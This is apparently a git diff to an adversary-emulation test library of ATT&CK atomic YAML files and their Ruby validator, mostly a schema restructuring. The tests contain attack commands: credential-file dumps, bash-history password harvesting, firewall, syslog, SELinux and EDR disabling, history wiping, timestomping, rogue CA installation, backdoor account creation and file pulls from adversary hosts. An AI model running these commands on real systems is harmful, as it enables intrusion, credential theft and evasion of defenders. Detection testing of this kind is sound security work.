diff --git a/atomics/t1046/t1046.yaml b/atomics/t1046/t1046.yaml index 4608188b8..9d922e9b9 100644 --- a/atomics/t1046/t1046.yaml +++ b/atomics/t1046/t1046.yaml @@ -9,9 +9,10 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - for port in {1..65535}; - do - echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ; - done + executor: + name: sh + command: | + for port in {1..65535}; + do + echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ; + done diff --git a/atomics/t1087/t1087.yaml b/atomics/t1087/t1087.yaml index 1c5c88e1f..d063354a0 100644 --- a/atomics/t1087/t1087.yaml +++ b/atomics/t1087/t1087.yaml @@ -9,9 +9,15 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - cat /etc/passwd + input_arguments: + output_file: + description: Path where captured results will be placed + type: Path + default: ~/loot.txt + executor: + name: sh + command: | + cat /etc/passwd > #{output_file} - name: View sudoers access description: | @@ -19,9 +25,15 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - cat /etc/sudoers > /tmp/loot.txt + input_arguments: + output_file: + description: Path where captured results will be placed + type: Path + default: ~/loot.txt + executor: + name: sh + command: | + cat /etc/sudoers > #{output_file} - name: View accounts with UID 0 description: | @@ -29,11 +41,15 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - args: - - target_filename: /tmp/loot.txt - command: | - grep 'x:0:' /etc/passwd > #{target_filename} + input_arguments: + output_file: + description: Path where captured results will be placed + type: Path + default: ~/loot.txt + executor: + name: sh + command: | + grep 'x:0:' /etc/passwd > #{output_file} - name: List opened files by user description: | @@ -41,18 +57,23 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username + executor: + name: sh + command: | + username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username - name: Show if a user account has ever logger in remotely description: | xxx supported_platforms: - linux - - macos - executor: sh + - macos args: - - target_filename: /tmp/loot.txt - command: | - lastlog > #{target_filename} + output_file: + description: Path where captured results will be placed + type: Path + default: ~/loot.txt + executor: + name: sh + command: | + lastlog > #{output_file} diff --git a/atomics/t1089/t1089.yaml b/atomics/t1089/t1089.yaml index 3f32bb822..037052e33 100644 --- a/atomics/t1089/t1089.yaml +++ b/atomics/t1089/t1089.yaml @@ -8,60 +8,60 @@ atomic_tests: Disables the iptables firewall supported_platforms: - linux - executor: sh - - command: | - if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; - then - service iptables stop - chkconfig off iptables - service ip6tables stop - chkconfig off ip6tables - else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; - systemctl stop firewalld - systemctl disable firewalld - fi + executor: + name: sh + command: | + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; + then + service iptables stop + chkconfig off iptables + service ip6tables stop + chkconfig off ip6tables + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; + systemctl stop firewalld + systemctl disable firewalld + fi - name: Disable syslog description: | Disables syslog collection supported_platforms: - linux - executor: sh - - command: | - if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; - then - service rsyslog stop - chkconfig off rsyslog - else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; - systemctl stop rsyslog - systemctl disable rsyslog - fi + executor: + name: sh + command: | + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; + then + service rsyslog stop + chkconfig off rsyslog + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; + systemctl stop rsyslog + systemctl disable rsyslog + fi - name: Disable Cb Response description: | Disable the Cb Response service supported_platforms: - linux - executor: sh - - command: | - if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; - then - service cbdaemon stop - chkconfig off cbdaemon - else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; - systemctl stop cbdaemon - systemctl disable cbdaemon - fi + executor: + name: sh + command: | + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; + then + service cbdaemon stop + chkconfig off cbdaemon + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; + systemctl stop cbdaemon + systemctl disable cbdaemon + fi - name: Disable SELinux description: | Disables SELinux enforcement supported_platforms: - linux - executor: sh - - command: | - setenforce 0 + executor: + name: sh + command: | + setenforce 0 diff --git a/atomics/t1099/t1099.yaml b/atomics/t1099/t1099.yaml index c23166e74..5c1fca368 100644 --- a/atomics/t1099/t1099.yaml +++ b/atomics/t1099/t1099.yaml @@ -9,12 +9,14 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - args: - - target_filename: testfile - command: | - echo "This is only a test" > #{target_filename} - touch -a -t 197001010000.00 #{target_filename} + input_arguments: + target_filename: + description: Path of file that we are going to stomp on last access time + type: Path + executor: + name: sh + command: | + touch -a -t 197001010000.00 #{target_filename} - name: Set a file's modification timestamp description: | @@ -22,12 +24,14 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - args: - - target_filename: testfile - command: | - echo "This is only a test" > #{target_filename} - touch -m -t 197001010000.00 #{target_filename} + input_arguments: + target_filename: + description: Path of file that we are going to stomp on last access time + type: Path + executor: + name: sh + command: | + touch -m -t 197001010000.00 #{target_filename} - name: Set a file's creation timestamp description: | @@ -39,12 +43,15 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - args: - - target_filename: testfile - command: | - NOW=$(date) - date -s "1970-01-01 00:00:00" - touch testfile - date -s "$NOW" - stat testfile + input_arguments: + target_filename: + description: Path of file that we are going to stomp on last access time + type: Path + executor: + name: sh + command: | + NOW=$(date) + date -s "1970-01-01 00:00:00" + touch #{target_filename} + date -s "$NOW" + stat #{target_filename} diff --git a/atomics/t1105/t1105.yaml b/atomics/t1105/t1105.yaml index 02c4ac055..7f089be6c 100644 --- a/atomics/t1105/t1105.yaml +++ b/atomics/t1105/t1105.yaml @@ -9,38 +9,39 @@ atomic_tests: supported_platforms: - linux - macos - executor: bash + executor: + name: bash + command: | + ### TODO: Not sure how to handle commands that need to be run on multiple systems - command: | - # Adversary System Configuration - # Ensure SSH access has been configured for an adversary account - echo "This file transferred by scp" > /tmp/adversary-scp - echo "This file transferred by sftp" > /tmp/adversary-sftp - mkdir /tmp/adversary-rsync - cd /tmp/adversary-rsync - touch a b c d e f g + # Adversary System Configuration + # Ensure SSH access has been configured for an adversary account + echo "This file transferred by scp" > /tmp/adversary-scp + echo "This file transferred by sftp" > /tmp/adversary-sftp + mkdir /tmp/adversary-rsync + cd /tmp/adversary-rsync + touch a b c d e f g - command: | - # Victim System Configuration - # Ensure SSH access has been configured for a victim account - # Ensure write access for victim account to this directory - mkdir /tmp/victim-files - cd /tmp/victim-files + # Victim System Configuration + # Ensure SSH access has been configured for a victim account + # Ensure write access for victim account to this directory + mkdir /tmp/victim-files + cd /tmp/victim-files - # Push files to victim using rsync - rsync -r /tmp/adversary-rsync/ victim@victim-host:/tmp/victim-files/ + # Push files to victim using rsync + rsync -r /tmp/adversary-rsync/ victim@victim-host:/tmp/victim-files/ - # Pull files from adversary using rsync - rsync -r adversary@adversary-host:/tmp/adversary-rsync/ /tmp/victim-files/ + # Pull files from adversary using rsync + rsync -r adversary@adversary-host:/tmp/adversary-rsync/ /tmp/victim-files/ - # Push files to victim using scp - scp /tmp/adversary-scp victim@victim-host:/tmp/victim-files/ + # Push files to victim using scp + scp /tmp/adversary-scp victim@victim-host:/tmp/victim-files/ - # Pull file from adversary using scp - scp adversary@adversary-host:/tmp/adversary-scp /tmp/victim-files/scp-file + # Pull file from adversary using scp + scp adversary@adversary-host:/tmp/adversary-scp /tmp/victim-files/scp-file - # Push files to victim using sftp - sftp victim@victim-host:/tmp/victim-files/ <<< $'put /tmp/adversary-sftp' + # Push files to victim using sftp + sftp victim@victim-host:/tmp/victim-files/ <<< $'put /tmp/adversary-sftp' - # Pull file from adversary using sftp - sftp adversary@adversary-host:/tmp/adversary-sftp /tmp/victim-files/sftp-file + # Pull file from adversary using sftp + sftp adversary@adversary-host:/tmp/adversary-sftp /tmp/victim-files/sftp-file diff --git a/atomics/t1123/t1123.yaml b/atomics/t1123/t1123.yaml index 1f164f8fe..d90a15aec 100644 --- a/atomics/t1123/t1123.yaml +++ b/atomics/t1123/t1123.yaml @@ -12,17 +12,17 @@ atomic_tests: input_arguments: output_file: - description: xxxxx + description: Path to the recording file being captured type: Path default: test.wma duration_hms: - description: xxxxx + description: Duration of audio to be recorded (in h:m:s format) type: Path default: 0000:00:30 - executors: - - name: command_prompt + executor: + name: command_prompt command: | SoundRecorder /FILE #{output_file} /DURATION #{duration_hms} @@ -31,8 +31,7 @@ atomic_tests: [AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet) supported_platforms: - windows - input_arguments: - executors: - - name: command_prompt + executor: + name: command_prompt command: | powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet diff --git a/atomics/t1130/t1130.yaml b/atomics/t1130/t1130.yaml index cda121441..deb6f7a51 100644 --- a/atomics/t1130/t1130.yaml +++ b/atomics/t1130/t1130.yaml @@ -8,25 +8,28 @@ atomic_tests: Creates a root CA with openssl supported_platforms: - linux - executor: sh args: key_filename: - type: filename + description: Key we create that is used to create the CA certificate + type: Path default: rootCA.key cert_filename: - type: filename + description: Path of the CA certificate we create + type: Path default: rootCA.crt - command: | - openssl genrsa -out #{key_filename} 4096 - openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -out #{cert_filename} + executor: + name: sh + command: | + openssl genrsa -out #{key_filename} 4096 + openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -out #{cert_filename} - if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -le "5" ]; - then - cat rootCA.crt >> /etc/pki/tls/certs/ca-bundle.crt - else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -ge "7" ]; - cp rootCA.crt /etc/pki/ca-trust/source/anchors/ - update-ca-trust - fi + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -le "5" ]; + then + cat rootCA.crt >> /etc/pki/tls/certs/ca-bundle.crt + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -ge "7" ]; + cp rootCA.crt /etc/pki/ca-trust/source/anchors/ + update-ca-trust + fi # TODO: there was some note about testing like this: diff --git a/atomics/t1136/t1136.yaml b/atomics/t1136/t1136.yaml index 5eb555b1b..0679a59b4 100644 --- a/atomics/t1136/t1136.yaml +++ b/atomics/t1136/t1136.yaml @@ -8,30 +8,40 @@ atomic_tests: Create a user via useradd supported_platforms: - linux - executor: bash - - args: - - username: evil_user - - comment: Evil Account - - command: | - useradd -M -N -r -s /bin/bash -c "#{comment}" #{username} + input_arguments: + username: + description: Username of the user to create + type: String + default: evil_user + comment: + description: Comment to record when creating the user + type: String + default: Evil Account + executor: + name: bash + command: | + useradd -M -N -r -s /bin/bash -c "#{comment}" #{username} - name: Create a user account on a MacOS system description: | Creates a user on a MacOS system with dscl supported_platforms: - macos - executor: bash - args: - - username: evil_user - - realname: Lucius Q. User - - command: | - dscl . -create /Users/#{username} - dscl . -create /Users/#{username} UserShell /bin/bash - dscl . -create /Users/#{username} RealName "#{realname}" - dscl . -create /Users/#{username} UniqueID "1010" - dscl . -create /Users/#{username} PrimaryGroupID 80 - dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username} + username: + description: Username of the user to create + type: String + default: evil_user + realname: + description: "'realname' to record when creating the user" + type: String + default: Evil Account + executor: + name: bash + command: | + dscl . -create /Users/#{username} + dscl . -create /Users/#{username} UserShell /bin/bash + dscl . -create /Users/#{username} RealName "#{realname}" + dscl . -create /Users/#{username} UniqueID "1010" + dscl . -create /Users/#{username} PrimaryGroupID 80 + dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username} diff --git a/atomics/t1139/t1139.yaml b/atomics/t1139/t1139.yaml index 039e1a781..41ce03b02 100644 --- a/atomics/t1139/t1139.yaml +++ b/atomics/t1139/t1139.yaml @@ -9,12 +9,20 @@ atomic_tests: supported_platforms: - linux - macos - executor: bash - - args: - - bash_history_filename: ~/.bash_history - - bash_history_grep_args: -e '-p ' -e 'pass' -e 'ssh' - - output_file: ~/loot.txt - - command: | - cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file} + input_arguments: + bash_history_filename: + description: Path of the bash history file to capture + type: Path + default: ~/.bash_history + bash_history_grep_args: + description: grep arguments that filter out specific commands we want to capture + type: Path + default: -e '-p ' -e 'pass' -e 'ssh' + output_file: + description: Path where captured results will be placed + type: Path + default: ~/loot.txt + executor: + name: sh + command: | + cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file} diff --git a/atomics/t1146/t1146.yaml b/atomics/t1146/t1146.yaml index 94651944b..6ebd69421 100644 --- a/atomics/t1146/t1146.yaml +++ b/atomics/t1146/t1146.yaml @@ -9,9 +9,10 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - rm ~/.bash_history + executor: + name: sh + command: | + rm ~/.bash_history - name: Clear Bash history (echo) description: | @@ -19,9 +20,10 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - echo "" > ~/.bash_history + executor: + name: sh + command: | + echo "" > ~/.bash_history - name: Clear Bash history (cat dev/null) description: | @@ -29,9 +31,10 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - cat /dev/null > ~/.bash_history + executor: + name: sh + command: | + cat /dev/null > ~/.bash_history - name: Clear Bash history (ln dev/null) description: | @@ -39,26 +42,29 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - command: | - ln -sf /dev/null ~/.bash_history + executor: + name: sh + command: | + ln -sf /dev/null ~/.bash_history - name: Clear Bash history (truncate) description: | Clears bash history via truncate supported_platforms: - linux - executor: sh - command: | - truncate -s0 ~/.bash_history + executor: + name: sh + command: | + truncate -s0 ~/.bash_history - name: Clear history of a bunch of shells description: | Clears the history of a bunch of different shell types by setting the history size to zero supported_platforms: - linux - executor: sh - command: | - unset HISTFILE - export HISTFILESIZE=0 - history -c + executor: + name: sh + command: | + unset HISTFILE + export HISTFILESIZE=0 + history -c diff --git a/atomics/t1148/t1148.yaml b/atomics/t1148/t1148.yaml index 0bcf6c3d7..42d705e43 100644 --- a/atomics/t1148/t1148.yaml +++ b/atomics/t1148/t1148.yaml @@ -9,10 +9,13 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - args: - - evil_command: whoami - - output_file: recon.txt - command: | - export HISTCONTROL=ignoreboth - ls #{evil_command} > #{output_file} + input_arguments: + evil_command: + description: Command to run after shell history collection is disabled + type: String + default: whoami + executor: + name: sh + command: | + export HISTCONTROL=ignoreboth + ls #{evil_command} diff --git a/atomics/t1158/t1158.yaml b/atomics/t1158/t1158.yaml index b0deb384a..a999c5069 100644 --- a/atomics/t1158/t1158.yaml +++ b/atomics/t1158/t1158.yaml @@ -9,8 +9,8 @@ atomic_tests: supported_platforms: - linux - macos - executor: sh - - command: | - mkdir .hidden-directory - echo "this file is hidden" > .hidden-directory/.hidden-file \ No newline at end of file + executor: + name: sh + command: | + mkdir .hidden-directory + echo "this file is hidden" > .hidden-directory/.hidden-file \ No newline at end of file diff --git a/atomics/t1176/t1176.yaml b/atomics/t1176/t1176.yaml index e2fb457c9..368b61146 100644 --- a/atomics/t1176/t1176.yaml +++ b/atomics/t1176/t1176.yaml @@ -10,15 +10,16 @@ atomic_tests: - linux - windows - macos - executor: manual - steps: | - 1. Navigate to [chrome://extensions](chrome://extensions) and - tick 'Developer Mode'. + executor: + name: manual + steps: | + 1. Navigate to [chrome://extensions](chrome://extensions) and + tick 'Developer Mode'. - 2. Click 'Load unpacked extension...' and navigate to - [Browser_Extension](../t1176/) + 2. Click 'Load unpacked extension...' and navigate to + [Browser_Extension](../t1176/) - 3. Click 'Select' + 3. Click 'Select' - name: Chrome (Chrome Web Store) description: | @@ -27,12 +28,13 @@ atomic_tests: - linux - windows - macos - executor: manual - steps: | - 1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend - in Chrome + executor: + name: manual + steps: | + 1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend + in Chrome - 2. Click 'Add to Chrome' + 2. Click 'Add to Chrome' - name: Firefox description: | @@ -41,11 +43,12 @@ atomic_tests: - linux - windows - macos - executor: manual - steps: | - 1. Navigate to [about:debugging](about:debugging) and - click "Load Temporary Add-on" + executor: + name: manual + steps: | + 1. Navigate to [about:debugging](about:debugging) and + click "Load Temporary Add-on" - 2. Navigate to [manifest.json](./manifest.json) + 2. Navigate to [manifest.json](./manifest.json) - 3. Then click 'Open' \ No newline at end of file + 3. Then click 'Open' \ No newline at end of file diff --git a/validate_atomics.rb b/validate_atomics.rb index 2f0727a9d..cfdd7c980 100755 --- a/validate_atomics.rb +++ b/validate_atomics.rb @@ -47,64 +47,33 @@ def validate_is_atomic!(path) raise("`atomic_tests[#{i}].input_arguments[#{iai}].type` element must be a string") unless arg['type'].is_a?(String) raise("`atomic_tests[#{i}].input_arguments[#{iai}].type` element must be lowercased and underscored (was #{arg['type']})") unless arg['type'] =~ /[a-z_]+/ - raise("`atomic_tests[#{i}].input_arguments[#{iai}].default` element is required") unless arg.has_key?('default') + # TODO: determine if we think default values are required for EVERY input argument + # raise("`atomic_tests[#{i}].input_arguments[#{iai}].default` element is required") unless arg.has_key?('default') # raise("`atomic_tests[#{i}].input_arguments[#{iai}].default` element must be a string (was a #{arg['default'].class.name})") unless arg['default'].is_a?(String) end - raise("`atomic_tests[#{i}].executors` element is required") unless atomic.has_key?('executors') - raise("`atomic_tests[#{i}].executors` element must be an Array") unless atomic['executors'].is_a?(Array) - raise("`atomic_tests[#{i}].executors` element is empty - you have no way to execute this test") unless atomic['executors'].count > 0 + raise("`atomic_tests[#{i}].executor` element is required") unless atomic.has_key?('executor') + executor = atomic['executor'] + raise("`atomic_tests[#{i}].executor.name` element is required") unless executor.has_key?('name') + raise("`atomic_tests[#{i}].executor.name` element must be a string") unless executor['name'].is_a?(String) + raise("`atomic_tests[#{i}].executor.name` element must be lowercased and underscored (was #{executor['name']})") unless executor['name'] =~ /[a-z_]+/ - atomic['executors'].each_with_index do |executor, ei| - raise("`atomic_tests[#{i}].executors[#{ei}].name` element is required") unless executor.has_key?('name') - raise("`atomic_tests[#{i}].executors[#{ei}].name` element must be a string") unless executor['name'].is_a?(String) - raise("`atomic_tests[#{i}].executors[#{ei}].name` element must be lowercased and underscored (was #{executor['name']})") unless executor['name'] =~ /[a-z_]+/ + valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual'] + case executor['name'] + when 'manual' + raise("`atomic_tests[#{i}].executor.steps` element is required") unless executor.has_key?('steps') + raise("`atomic_tests[#{i}].executor.steps` element must be a string") unless executor['steps'].is_a?(String) - valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual'] - case executor['name'] - when 'manual' - raise("`atomic_tests[#{i}].executors[#{ei}].steps` element is required") unless executor.has_key?('command') - raise("`atomic_tests[#{i}].executors[#{ei}].steps` element must be a string") unless executor['command'].is_a?(String) + when 'command_prompt', 'sh', 'bash', 'powershell' + raise("`atomic_tests[#{i}].executor.command` element is required") unless executor.has_key?('command') + raise("`atomic_tests[#{i}].executor.command` element must be a string") unless executor['command'].is_a?(String) - when 'command_prompt', 'sh', 'bash', 'powershell' - raise("`atomic_tests[#{i}].executors[#{ei}].command` element is required") unless executor.has_key?('command') - raise("`atomic_tests[#{i}].executors[#{ei}].command` element must be a string") unless executor['command'].is_a?(String) - - else - raise("`atomic_tests[#{i}].executors[#{ei}].name` '#{executor['name']}' must be one of #{valid_executor_types.join(', ')}") - end + else + raise("`atomic_tests[#{i}].executor.name` '#{executor['name']}' must be one of #{valid_executor_types.join(', ')}") end end end - -# -# atomic_tests: -# - name: SourceRecorder via Windows command prompt -# description: | -# Create a file called test.wma, with the duration of 30 seconds -# -# supported_platforms: -# - windows -# -# input_arguments: -# output_file: -# description: xxxxx -# type: Path -# default: test.wma -# -# duration_hms: -# description: xxxxx -# type: Path -# default: 0000:00:30 -# -# executors: -# - name: command_prompt -# command: | -# SoundRecorder /FILE #{output_file} /DURATION #{duration_hms} -# - - oks = [] fails = []